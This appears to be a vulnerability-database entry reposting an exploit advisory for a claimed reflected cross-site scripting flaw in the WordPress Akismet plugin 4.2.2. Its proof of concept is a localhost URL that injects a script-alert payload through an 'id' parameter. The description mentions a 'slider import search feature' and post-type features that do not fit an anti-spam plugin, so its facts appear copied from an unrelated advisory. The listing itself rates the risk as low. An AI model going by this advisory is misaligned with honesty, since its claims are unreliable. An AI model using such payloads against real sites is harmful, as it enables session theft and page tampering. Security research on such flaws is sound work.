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WordPress Akismet Spam Protection 4.2.2 Cross Site Scripting

🗓️ 23 Mar 2022 00:00:00Reported by Milad KarimiType 
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WordPress Akismet Plugin 4.2.2 Cross Site Scriptin

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`# Exploit Title: WordPress Plugin Akismet Spam Protection v4.2.2 - Cross Site Scripting (XSS)  
# Date: 2022-03-22  
# Author: Milad karimi  
# Software Link: https://wordpress.org/plugins/akismet  
# Version: 4.2.2  
# Tested on: Windows 11  
# CVE: N/A  
  
1. Description:  
This plugin creates a Akismet Spam Protection from any post types. The slider import search feature and tab parameter via plugin settings are vulnerable to reflected cross-site scripting.  
  
2. Proof of Concept:  
http://localhost/akismet/akismet.php?id=<script>alert("test")</script>  
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23 Mar 2022 00:00Current
0.2Low risk
Vulners AI Score0.2
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